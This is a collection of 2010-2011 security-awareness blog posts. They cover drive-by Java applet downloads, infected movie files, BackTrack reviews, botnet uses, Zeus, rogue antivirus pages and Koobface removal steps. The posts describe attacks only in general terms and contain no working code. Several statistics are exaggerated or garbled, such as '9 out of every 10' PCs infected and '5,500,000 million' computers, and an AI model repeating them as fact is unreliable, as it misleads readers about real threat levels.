From now onwards, look at it once more to check whether it is malicious or not.

"Drive-by download" is basically the “download of any malicious/unwanted content on a computer without the knowledge of the user”

It's a fake webclient or you may call it a fake certificate, whose sole purpose is to take control of your system. It may be through the installation of Keyloggers,viruses or trojans.

In terms of programming, it’s a simple Java applet.

If you’re a good programmer, you could make one of those yourself.

Now, in the case of common users, they won't think of the pop-up as anything but a tool required to see a flash video or view a webcam, or even a simple HTML page. Thats why this attack is so much widespread and successful.

This type of attack is by far the simplest to pull and does not rely on any particular kind of vulnerability. The Java Runtime is the only browser-embeddable object which gives such a degree of access from simple Web pages. Flash, Adobe Reader, and even Signed JavaScript (disabled by default) wont allow you to do all of these, mainly because it is highly insecure!

If you have never seen anything like this, it is a warning shown when the security certificate is crypted.

This does'nt mean that the Java platform, in particular, is vulnerable and that we should avoid all objects online using java. Infact it is an awesome platform for web apps. The main thing here is the human factor which is highly exploitable.

The aim here is to just expose the widely used hacking methods online.

Use a good antivirus. Keep updating your browsers. Don’t run Active-X content unless you’re sure what it is.

It is just like a hidden pop-up box saying,

“Do you wanna give the whole access to the attacker”

And you click YES!!

So, before you click, think twice!!

Happy Hacking!

Aditya

Email : adityagupta1991@gmail.com

FB : aditya1391

noreply@blogger.com (Unknown) — Sat, 05 Feb 2011 11:20:00 +0000

Ever cared to look back again, when you everytime clicked on the “OK” button of this popup :

From now on, look at it once more. To check out that it isn’t malicious. And something isn’t hidden behind it.

Drive-by download is basically the “download of any malicious/unwanted object on a computer without the knowledge of user”

It is a fake webclient or you may say a fake certificate, whose sole purpose is to take control of your computer/user accounts. It may be through install of Keylogger or RAT, whatever the attacker wishes.
It’s a simple Java applet. If you’re a good programmer, you would be able to make one of those yourself.
Now a normal user will approve anything like that certificate in order to play a game, see a flash video or view a webcam.
This type of attack is by far the simplest to pull and does not rely on any particular kind of vulnerability. The Java Runtime is the only browser embeddable object which gives such a degree of access from simple Web pages. Flash, Adobe Reader, and even Signed JavaScript (disabled by default) wont allow you to do all of these, mainly because it is highly insecure!
The chances of getting success using this vulnerability is more than 90%.
If you have never seen anything like that it is a certificate shown when the security certificate is crypted.
Java in particular isn’t vulnerable and it isn’t that we should avoid all objects online using java. It is an awesome platform for web apps, the main thing here is the human factor.
The aim here is to just expose the widely used hacking methods online.
Use a good antivirus. Keep updating your browsers. Don’t run Active-X content unless you’re sure what is it.
It is just like a hidden pop-up box saying,
“Do you wanna give the whole access to the attacker”
And you click YES!!
So, before you click, think twice!!

Downloading a “Movie” or a “Microbe”?

noreply@blogger.com (Anti Hacking Anticipation Society ®) — Thu, 20 Jan 2011 19:08:00 +0000

With the popularity of portable electronic devices, computers, and internet, nobody wants to carry around a bulky pack of CD's or DVD’s anymore. There are several file sharing programs out on the internet that allow you to download movies and various other kind of stuff free of cost. But here a question arises as to why these providers are uploading these media for free? A survey by Anti Hacking Anticipation Society produces some facts that these movies contain hidden viruses and Trojans that get installed on your system when you try to open/play them and then spy on you or harm you in other ways. These Microbes download other malicious applications at the backend that make a computer no more useful for his master. The only preferred solution thereafter is just to compromise with these malice or format the entire system to get rid of them.

How these Microbes work?

Traditionally, most of the internet users download movies and movies using file sharing portals but now scenario is changed there are now n number of options for techno savvies to get a newly released movie. Without knowing the fact that nothing is free in world, these people download movies from torrents. Where, providers have self interest in sharing the files. They bind malicious scripts with movies such that while playing such movie, automatically a Microbe gets executed. These microbes keep a watch on your surfing habits, maintain a log of websites visited and email addresses typed and send you bulk spam emails. Even these logs are automatically forwarded to interested people who sell this information further to spammers.

Next time when you download and play a movie in a player (eg. VLC) you might see a error message “trying to play hd file aborting redirecting to site”, please don’t continue with that movie, as this error message signifies that it is taking you to an another host not even if it asks you to download “full codec player” to play the movie.

There Microbes and viruses have been considered to be a threat since the advent of the PC. The situation is critical now because 9 out of every 10 pc's connected via the internet is infected with Microbes and viruses.

Backtrack-linux

noreply@blogger.com (Taufique) — Mon, 20 Dec 2010 14:56:00 +0000

LINUX-BACKTRACK

The Best Operating System for Hackers.

The Best Operating System for Hackers There are a couple of things that are essential to any hacker’s walk of life. To name a few, there’s the ubiquitous flash drive for data transfer. You have the crossover cable for even faster data transfer. There’s the Wi-Fi antenna for high gain and strong amplification. Possibly, you might find a video capture card in the computer. Of course, there’s

the ubiquitous laptop and desktop computer. But what software is on these computers? Undoubtedly, you will find at least two operating systems, most often Windows and Linux. But with Linux, there are several different distributions. Is there a specific one? With hackers and crackers, there is only one Linux distort out there. It is called Backtrack.

BackTrack is a Linux-based penetration testing arsenal that aids security professionals in the ability to perform assessments in a purely native environment dedicated to hacking.

Regardless if you’re making BackTrack your primary operating system, booting from a Live DVD, or using your favourite thumb drive, BackTrack has been customized down to every package, kernel configuration, script and patch solely for the purpose of the penetration tester.

BackTrack is intended for all audiences from the most savvy security professionals to early newcomers to the information security field. BackTrack promotes a quick and easy way to find and update the largest database of security tool collection to-date.

Back Track is quite possibly the most comprehensive Linux distribution of security tools. Both hackers and crackers can appreciate the features of this distribution. For black-hatters, it is an easy access to software that facilitates exploitations of secure system. For white-hatters, it is a penetration tester that finds holes in a security scheme. See, everybody wins!

Major Features

BackTrack features the latest in security penetration software. The current Linux kernel is patched so that special driver installation is unnecessary for attacks. For example, an Atheros-based wireless networking adapter will no enter monitor mode or inject packets without the MadWiFi driver patch. With BackTrack, you don’t need to worry about that. It’s just plug-and-play ready-to-go!

What’s great is that this Linux distribution comes Live-on-CD. So, no installation is needed. However, what you experience BackTrack, you will realize that it is a must to download this operating system and install it on your Laptop. At the very least, download the VMWare Virtual Appliance for Backtrack. Make sure you also install the VMWare Tools for Linux as well. Many features will still work in VMWare mode.

Based on: Debian, Ubuntu
Origin: Switzerland
Architecture: i386
Desktop: Fluxbox, KDE
Category: Forensics, Rescue, Live Medium
Cost: Free

Tools:

BackTrack provides users with easy access to a comprehensive and large collection of security-related tools ranging from port scanners to password crackers. Support for Live CD and Live USB functionality allows users to boot BackTrack directly from portable media without requiring installation, though permanent installation to hard disk is also an option.

BackTrack includes many well known security tools including:

Metasploit integration
RFMON Injection capable wireless drivers
Kismet
Nmap
Ettercap
Wireshark (formerly known as Ethereal)
BeEF (Browser Exploitation Framework)

A large collection of exploits as well as more common place software such as browsers. BackTrack arranges tools into 11 categories:

Information Gathering
Network Mapping
Vulnerability Identification
Web Application Analysis
Radio Network Analysis (802.11, Bluetooth, Rfid)
Penetration (Exploit & Social Engineering Toolkit)
Privilege Escalation
Maintaining Access
Digital Forensics
Reverse Engineering
Voice Over IP

BACKTRACK 4....lets start with it...

noreply@blogger.com (vivek) — Mon, 22 Nov 2010 11:15:00 +0000

Linux distributions specially designed for penetration testing, security auditing, incidence handling, system investigation and analysis, data recovery, and other useful tasks.
Today, we will review another high-end, security-oriented distribution, BackTrack.

Introduction

BackTrack is one of the more popular distributions in the white hat circles. It is specially suited for penetration testing, with more than 300 tools available for the task. Like both Helix and Protech, BackTrack is based on Ubuntu. This means good stability and hardware detection and a whole lot of software that can be easily obtained.

Sound quite interesting. Let's see how it behaves. We're going to check version 4 Beta.

Lots of great stuff

Like most Linux distros - and definitely all forensics/security-oriented tools, BackTrack works primarily as a live CD, with good hardware detection and low memory footprint, intended to make it usable even on older machines. It is also possible to install BackTrack, should one desire.

The boot menu is simple and elegant, with three options.

The second option (Console no FB) stands for Console no Framebuffers, i.e. the failsafe mode with minimal graphics that should work well on all hardware. Thanks k finity! As to the third option, MSRAMDUMP, I did try booting it, but this produced an error and threw me back into the boot menu.

Anyhow ...

The distro maintains its elegance by booting into the best-looking console I have seen, with stylish color gradients and mirror effects. You can begin working instantly on the command-line or boot into GUI desktop by issuing startx command.

One thing worth noting in the screenshot above is the mounting error on hda1, which is formatted with Ext4, a relatively new filesystem. In fact, the system I booted BackTrack on hosts a Jaunty install, with the Ext4 root partition. This is something that will probably be solved in future releases.

Desktop

The desktop is simple and functional, running a lightweight KDE3 manager. You get a simple wallpaper with dragon-like theme. Another interesting element is the Run box embedded in the panel, which allows you to run applications without invoking a terminal first.

The network is not enabled by default and you'll have to fire it up manually.

Tools

BackTrack is all about lots and lots of hacking tools. Once again, I'm only going to present the tools, not show you how to use them. These tools are all double-edged swords, and without the right amount of respect, skill and integrity, you may cause more harm than good. Furthermore, do not deploy them in a production environment without the explicit approval from system administrators and INFOSEC people.

The tools can all be found under Backtrack in the menu, arranged into sub-categories. The collection is long and rich and it will take you a long time pouring over all of them, let alone mastering them. Most of the tools are command-line utilities, with menu items a link to the console with the relevant tool running inside it.

A few practical examples, there's the venerable nmap, Hydra and hping3:

You may also want to audit Bluetooth devices. On the test machine, there are no Bluetooth devices, which explains the error you see below.

Then, there's the gdb (GNU Debugger) for analyzing crash dumps and memory cores.

Last but not the least, you get the great Wireshark (formerly Ethereal):

Other programs

BackTrack is mainly loaded with security applications, however it also has a reasonable assortment of "normal" programs. You get Firefox, already configured to use the exceptional Noscript extension.

You also get Synaptic, which makes software management easy and pleasant:

You also have Wine for Windows software.

And then, you can change wallpapers and get classic KDE looks.

How I miss that wallpaper! To the best of my knowledge, it has not been included in most KDE releases since Kubuntu 6.06.

You can find more stuff in the K-menu:

Errors

Being a beta, BackTrack 4 was not the most stable distro. In addition to the Ext4 error during the boot, there were some other problems. For example, both Lynx text browser and QtParted partitioning software refused to work.

Other things

One thing that may bother you is the issue with the documentation section on the official site. It's secure site, self-signed with an expired certified, at last when this article was written, although the expiration has been in effect since August 2008.

This is not something you expect to see on a site catering to the security-conscious audience.

Furthermore, there's the small issue of inconsistency when it comes to application names. For example, BlueSmash shows up as blue-smash on the command line, hping3 has a capital H in the menus, etc. BackTrack itself also comes in two flavors, with both lowercase and uppercase Ts.

Overall, there were no big issues, except for the occasional application errors.

Conclusion

BackTrack is a powerful hacking suite. It is well made, with stylish touches that add to the overall feel of the distribution. It runs very fast in the live mode, even faster than most installed distributions. Most importantly, the array of tool is rich, well balanced and overall quite impressive.

The Beta version did throw a few errors here and there, but it was nothing major. Small consistency issues also arise, and there's the lack of support for Ext4, which I expect will be solved soon. Documentation needs to be improved, starting with the website SSL certificate and continuing with lots of questions regarding the general usage.

Nevertheless, for security professionals looking for a complete testing package that has all their favorite gadgets neatly arrayed, on top of a stable, popular distribution and with Synaptic package management for easy replenishment of any missing bits, BackTrack is an excellent candidate for their work.

HAVE FUN>>>

BACKTRACK 4 R1... thats what a hacker need

noreply@blogger.com (vivek) — Mon, 08 Nov 2010 21:41:00 +0000

Introduction

BackTrack is the world’s leading penetration testing and information security

auditing distribution. With hundreds of tools preinstalled and configured to run out of the box, BackTrack 4 provides a solid Penetration testing platform ‐ from Web application Hacking to RFID auditing – its all working in once place.

BackTrack is a Linux-based penetration testing arsenal that aids security professionals in the ability to perform assessments in a purely native environment dedicated to hacking

History

BackTrack has a long history and was based on many different linux distributions until it is now based on a Slackware linux distribution and the corresponding live-CD scripts by Tomas M. (www.slax.org) . Every package, kernel configuration and script is optimized to be used by security penetration testers. Patches and automation have been added, applied or developed to provide a neat and ready-to-go environment.

Different version of backtrack.

Date Release

February 5, 2006 BackTrack v.1.0 Beta

May 26, 2006 The BackTrack project released its first non-beta version (1.0).

October 13, 2006 BackTrack 2 first public beta released.

November 19, 2006 BackTrack 2 second public beta released.

March 6, 2007 BackTrack 2 final released.

December 17, 2007 BackTrack 3 first beta release.

June 19, 2008 BackTrack 3 final released.

February 11, 2009 BackTrack 4 first beta release. (It's now based on Debian)

June 19, 2009 BackTrack 4 pre-final release.

January 9, 2010 BackTrack 4 final release.

May 8, 2010 BackTrack 4 R1 release

You can download your new copy of backtarck from :

http://www.backtrack-linux.org/downloads/

Thing you can do with backtrack-4 R1

BackTrack tools are arranged by parent categories. These are the categories

that currently exist:

BackTrack ‐ Enumeration

BackTrack ‐ Tunneling

BackTrack ‐ Bruteforce

BackTrack ‐ Spoofing

BackTrack ‐ Passwords

BackTrack ‐ Wireless

BackTrack ‐ Discovery

BackTrack ‐ Cisco

BackTrack – Web Applications

BackTrack ‐ Forensics

BackTrack ‐ Fuzzers

BackTrack ‐ Bluetooth

BackTrack ‐ Misc

BackTrack ‐ Sniffers

BackTrack ‐ VOIP

BackTrack ‐ Debuggers

BackTrack ‐ Penetration

BackTrack ‐ Database

BackTrack ‐ RFID

BackTrack – Python4

BackTrack – Drivers

BackTrack ‐ GPU

Conclusion

Backtarck 4 R1 is new realease of distributions where you can get all tools which you want. Whether you’re hacking wireless, exploiting servers, performing a web application assessment, learning, or social-engineering a client, BackTrack is the one-stop-shop for all of your security needs.

Window 7's "GODMODE"

noreply@blogger.com (vivek) — Tue, 26 Oct 2010 11:48:00 +0000

Windows 7's so-called GodMode is actually a shortcut to accessing the operating system's various control settings

Although its name suggests perhaps even grander capabilities, Windows enthusiasts are excited over the discovery of a hidden "GodMode" feature that lets users access all of the operating system's control panels from within a single folder.

By creating a new folder in Windows 7 and renaming it with a certain text string at the end, users are able to have a single place to do everything from changing the look of the mouse pointer to making a new hard-drive partition.

The trick is also said to work in Windows Vista, although some are warning that although it works fine in 32-bit versions of Vista, it can cause 64-bit versions of that operating system to crash.

To enter "GodMode," one need only create a new folder and then rename the folder to the following:

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

Once that is done, the folder's icon will change to resemble a control panel and will contain dozens of control options. I'm not sure it's my idea of playing God, but it is a handy way to get to all kinds of controls.

For example, the first one could be a folder named "vivek.{00C6D95F-329C-409a-81D7-C46C66EA7F33}"

(use everything inside quotes--but not the quotes themselves).

Here's the list of strings: Try out more example

{00C6D95F-329C-409a-81D7-C46C66EA7F33}
{0142e4d0-fb7a-11dc-ba4a-000ffe7ab428}
{025A5937-A6BE-4686-A844-36FE4BEC8B6D}
{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}
{1206F5F1-0569-412C-8FEC-3204630DFB70}
{15eae92e-f17a-4431-9f28-805e482dafd4}
{17cd9488-1228-4b2f-88ce-4298e93e0966}
{1D2680C9-0E2A-469d-B787-065558BC7D43}
{1FA9085F-25A2-489B-85D4-86326EEDCD87}
{208D2C60-3AEA-1069-A2D7-08002B30309D}
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
{2227A280-3AEA-1069-A2DE-08002B30309D}
{241D7C96-F8BF-4F85-B01F-E2B043341A4B}
{4026492F-2F69-46B8-B9BF-5654FC07E423}
{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}
{78F3955E-3B90-4184-BD14-5397C15F1EFC}

And, as a reminder, to create the Godmode folder itself, use this string:

{ED7BA470-8E54-465E-825C-99712043E01C}

Botnet or Zombie--- a web Robot

noreply@blogger.com (vivek) — Tue, 26 Oct 2010 10:35:00 +0000

DEFINITION -A botnet (also known as a zombie army) is a number of Internet computers that, although their owners are unaware of it, have been set up to forward transmissions (including spam or viruses) to other computers on the Internet. Any such computer is referred to as a zombie - in effect, a computer "robot" or "bot" that serves the wishes of some master spam or virus originator. Most computers compromised in this way are home-based

A botnet or robot network is a group of computers running a computer application controlled and manipulated only by the owner or the software source. The botnet may refer to a legitimate network of several computers that share program processing amongst them.

Usually though, when people talk about botnets, they are talking about a group of computers infected with the malicious kind of robot software, the bots, which present a security threat to the computer owner. Once the robot software (also known as malicious software or malware) has been successfully installed in a computer, this computer becomes a zombie or a drone, unable to resist the commands of the bot commander.

A botnet may be small or large depending on the complexity and sophistication of the bots used. A large botnet may be composed of ten thousand individual zombies. A small botnet, on the other hand may be composed of only a thousand drones. Usually, the owners of the zombie computers do not know that their computers and their computers’ resources are being remotely controlled and exploited by an individual or a group of malware runners through Internet Relay Chat (IRC)

There are various types of malicious bots that have already infected and are continuing to infect the Internet. Some bots have their own spreaders – the script that lets them infect other computers (this is the reason why some people dub botnets as computer viruses) – while some smaller types of bots do not have such capabilities.

Different Types of Bots

Here is a list of the most used bots in the Internet today, their features and command set.

XtremBot, Agobot, Forbot, Phatbot

These are currently the best known bots with more than 500 versions in the Internet today. The bot is written using C++ with cross platform capabilities as a compiler and GPL as the source code. These bots can range from the fairly simple to highly abstract module-based designs. Because of its modular approach, adding commands or scanners to increase its efficiency in taking advantage of vulnerabilities is fairly easy. It can use libpcap packet sniffing library, NTFS ADS and PCRE. Agobot is quite distinct in that it is the only bot that makes use of other control protocols besides IRC.

UrXBot, SDBot, UrBot and RBot

Like the previous type of bot, these bots are published under GPL, but unlike the above mentioned bots these bots are less abstract in design and written in rudimentary C compiler language. Although its implementation is less varied and its design less sophisticated, these type of bots are well known and widely used in the internet.

GT-Bots and mIRC based bots

These bots have many versions in the Internet mainly because mIRC is one of the most used IRC client for windows. GT stands for global threat and is the common name for bots scripted using mIRC. GT-bots make use of the mIRC chat client to launch a set of binaries (mainly DLLs) and scripts; their scripts often have the file extensions .mrc.

Malicious Uses of Botnets

A botnet can have a lot of malicious applications. Among the most popular uses of botnets are the following:

Denial of Service Attacks

A botnet can be used as a distributed denial of service weapon. A botnet attacks a network or a computer system for the purpose of disrupting service through the loss of connectivity or consumption of the victim network’s bandwidth and overloading of the resources of the victim’s computer system. Botnet attacks are also used to damage or take down a competitor’s website.

Any Internet service can be a target by botnets. This can be done through flooding the website with recursive HTTP or bulletin-board search queries. This mode of attack in which higher level protocols are utilized to increase the effects of an attack is also termed as spidering.

Spamming and Traffic Monitoring

A botnet can also be used to take advantage of an infected computer’s TCP/ IP’s SOCKS proxy protocol for networking applications. After compromising a computer, the botnet commander can use the infected unit (a zombie) in conjunction with other zombies in his botnet (robot network) to harvest email addresses or to send massive amounts of spam or phishing mails.

Moreover, a bot can also function as a packet sniffer to find and intercept sensitive data passing through an infected machine. Typical data that these bots look out for are usernames and passwords which the botnet commander can use for his personal gain. Data about a competitor botnet installed in the same unit is also mined so the botnet commander can hijack this other botnet.

Key logging and Mass Identity Theft

Encryption software within the victims’ units can deter most bots from harvesting any real information. Unfortunately, some bots have adapted to this by installing a key logger program in the infected machines. With a key logger program, the bot owner can use a filtering program to gather only the key sequence typed before or after interesting keywords like PayPal or Yahoo mail. This is one of the reasons behind the massive PayPal accounts theft for the past several years.

Bots can also be used as agents for mass identity theft. It does this through phishing or pretending to be a legitimate company in order to convince the user to submit personal information and passwords. A link in these phishing mails can also lead to fake PayPal, eBay or other websites to trick the user into typing in the user name and password.

Botnet Spread

Botnets can also be used to spread other botnets in the network. It does this by convincing the user to download after which the program is executed through FTP, HTTP or email.

Pay-Per-Click Systems Abuse

Botnets can be used for financial gain by automating clicks on a pay-per-click system. Compromised units can be used to click automatically on a site upon activation of a browser. For this reason, botnets are also used to earn money from Google’s Adsense and other affiliate programs by using zombies to artificially increase the click counter of an advertisement.

CONCLUSION

What is certain is that botnets are widespread and growing, even attracting teenagers known as “script kiddies” who compete in building botnets. As a result, savvy computer users and administrators are taking steps to guard against rootkits that hand over access to hackers and script kiddies. Anti-rootkit software can be used to scan for existing rootkits, and other precautions can also be taken to minimize the risks of becoming part of a botnet.

Horses & Rats - Future Masters of World

noreply@blogger.com (Anti Hacking Anticipation Society ®) — Tue, 10 Aug 2010 09:52:00 +0000

While using Internet one must upgrade his knowledge about Horses and Rats, as these animals are no longer pets. Yes we are talking about Trojan horses[HORSE] And Remote Administration Tools [RAT].A Trojan horse, is malware that appears to perform a desirable function for the user prior to run or install but instead facilitates unauthorized access of the user's computer system where as A Remote Administration Tool is used to remotely connect and manage a Victims computers with a variety of tools, such as Screen/camera capture or control, File management, or whole Computer control. These are the harmful piece of software that looks legitimate. Users are typically tricked into loading and executing it on their systems.A Botnet is a collection of Such software agents, that run autonomously and automatically.

Recently on 24 April 2010, Trusteer, a web security company, reports that a trojan horse virus called Zeus can steal online banking details from infected computers. The virus has infected one out of every 3,000 computers of the 5,500,000 million which the company monitors in the world.

The trojan can infect users of Mozilla Firefox and Microsoft Internet Explorer on Microsoft Windows, and steals login information by recording keystrokes when the machine connects to certain websites, usually banks or other financial institutions. The stolen data is transmitted to a remote server and sold to cyber-criminals.

Some Security experts has catagories Zeus as a financial malware. According to there research it infects consumer PCs, waits for them to log onto a list of targeted banks and financial institutions, and then steals their credentials and sends them to a remote server in real time. Additionally, it may inject HTML into the pages rendered by the browser, so that its own content is displayed together (or instead of) the genuine pages from the bank’s web server. Thus, it is able to ask the user to divulge more personal information, such as payment card number and PIN, one time passwords and TANs, etc.

Zues is understood to be the biggest culprit among the family of malware targeting the financial websites and institutions. According to some of the studies, as much as 44% of all financial malware are based upon Zeus.

Despite such an alarming state, it is shocking to know that most of the Latest Security Software, even if they are updated to the latest version, are incapable of finding and removing Zeus Malware infections. In a recent study by Trusteer, it has been revealed that as much as as 55% of all the tested 10,000 computers, which were equipped with the latest updated security software and antivirus, were not able to detect and remove the traces of Zeus Virus.

According to Anti Hacking Anticipation Society, till now no software, howsoever smart, intelligent and pricey, can buy you the absolute PC Security and Privacy. The safety of your computer is within user's own hands. user must exercise caution before you click on any link.

Free Virus with Free AntiVirus

noreply@blogger.com (Anti Hacking Anticipation Society ®) — Tue, 10 Aug 2010 08:55:00 +0000

Rogue AV programs have become increasingly common in last two years. There are couple of things interesting about rogue AV programs. First, the bad guys here do not use (in most cases) any sophisticated attacks on clients. They instead rely on visitors to wittingly install their "AV program". How do they do this? Through social engineering – they create web pages which are very authentic copy of legitimate screens in Windows operating systems. These web pages make visitors believe that their machine is infected with several malicious programs and that the offered "AV program" can help them clean it.

Once the rogue AV program is installed, the victim has to pay money to get it "working" or, in some cases to even uninstall it. So, the money making scheme is simple (some rogue AV versions even steal local data and install keyloggers).

In order to get people to visit their web sites serving rogue AV programs, the attackers use different vectors-

They Spend a huge ammount on Advertisement like Google Adwords, which make them always on a top of google search list. The victims who trust google usually fall in such pranks and download these malwares.

The main reason, however, why rogue AV is so successful is its persistence and amount of details - the web page they use to scare the visitor looks almost exactly like Windows' Security Center. One such page is shown below:

I was, of course, interested to see what else they do so I decided to analyze the code behind. First of all, I must say that the code is very elegant and clean, it's obvious that the bad guys got a real programmer to code the page (and malware?) for them.

The web page uses JQuery, a well known and popular JavaScript library. After setting up the environment, the JavaScript code on the web page shows a fake scan of the machine with seemingly random file names. The file names are actually grabbed from a huge array contained in a separate file (flist.js). The file names in this array (there is 1100 of them) are actually copied from a Windows XP machine (C:WindowsSystem32 directory). This, of course, increases the authenticity of the scan.

After the scan finishes, the user is informed that the machine is infected with viruses. The JavaScript code on the web page initially set up some handlers, so no matter what the user does next he will see a window notifying him that his machine is infected (interesting, the attackers used JavaScript confirm() method to display this message).

Of course, this wasn't generated by Windows – it's actually just an image the attackers created. The "Remove all" and "Cancel" also aren't real buttons, just part of the image which has a handler that will get executed wherever the user clicks. You guess, on a click it will try to download the Rogue AV program. To eliminate any confusion, they also show this nice window where they explain what exactly needs to be done in order to install their rogue AV program.

It is now not strange that rogue AV programs are infecting so many machines. The devil is in the details, and the attackers made damn sure that all details are here to fool the potential victims.

Facebook Hacked !!

noreply@blogger.com (Anti Hacking Anticipation Society ®) — Tue, 10 Aug 2010 08:02:00 +0000

Social Networking websites have changed the way we interact in our personal lives and are in the process of transforming our professional lives. Increasingly, they play a significant role in how business gets done. But they're also high risk. With hundreds of millions of users, these tools have attracted attackers more than any other target in recent years.

According to Anti hacking Anticipation Society® the top social network threat that an enterprises or an individual must consider is "KOOBFACE" . Koobface an anagram of Facebook, has become, "the largest Web 2.0 botnet."which challenges the definition of "worm," it is specifically designed to propagate across social networks like Facebook, mySpace, Twitter, hi5, Friendster and Bebo.

Koobface is a computer worm that targets the Microsoft Windows users of the social networking websites. Koobface ultimately attempts, upon successful infection, to gather sensitive information from the victims such as credit card numbers. It was first detected in December 2008 and a more potent version appeared in March 2009.

Koobface spreads by delivering Facebook messages to people who are 'friends' of a Facebook user whose computer has already been infected. Upon receipt, the message directs the recipients to a third-party website, where they are prompted to download what is purported to be an update of the Adobe Flash player. If they download and execute the file, Koobface is able to infect their system. It can then commandeer the computer's search engine use and direct it to contaminated websites. There can also be links to the third-party website on the Facebook wall of the friend the message came from sometimes having comments like LOL or YOUTUBE. If the link is opened the trojan virus will infect the computer and the PC will become a Host Computer. Among the components downloaded by Koobface are a Special program that blocks access to well known security websites and a proxy tool that enables the attackers to abuse the infected PC.

The Windows operating system is currently the only operating system affected by these worms. Koobface is also known as W32/Koobface, W32/Koobface.AZ, W32.Koobface and Boface. Koobface gets on a machine and checks if there are cookies of social networking websites. If found, the worm infects victim’s profile. If no cookie found, it simply erases itself from the computer. Koobface also loads pop-ups that look like MS Windows error messages. The pop-up contains the following text: “Error installing Codec. Please contact support.” The Koobface worm targets Twitter users by spreading through links looking like Youtube Video Urls. When users click on that url, Koobface activates. Whenever this person logs on Twitter again, Koobface automatically comes out from its link and starts scrabling.

Some Tips to deal with KoobFace From Anti Hacking Anticipation Society®.

To manually remove Koobface from your PC, first kill processes fbtre6.exe, mstre6.exe and ld08.exe

Then, delete the registry values:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\Run\”systray” = “c:\windows\mstre6.exe”

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\Run\”systray” = “C:\Windows\fbtre6.exe”

HKEY_CURRENT_USER\AppEvents\Schemes\Apps\Explorer\Navigating

Now delete the files fbtre6.exe, fmark2.dat and ld08.exe from your hard disk. Also Install Anti Viruses, and also update the signnature databases daily to protect you and your computer.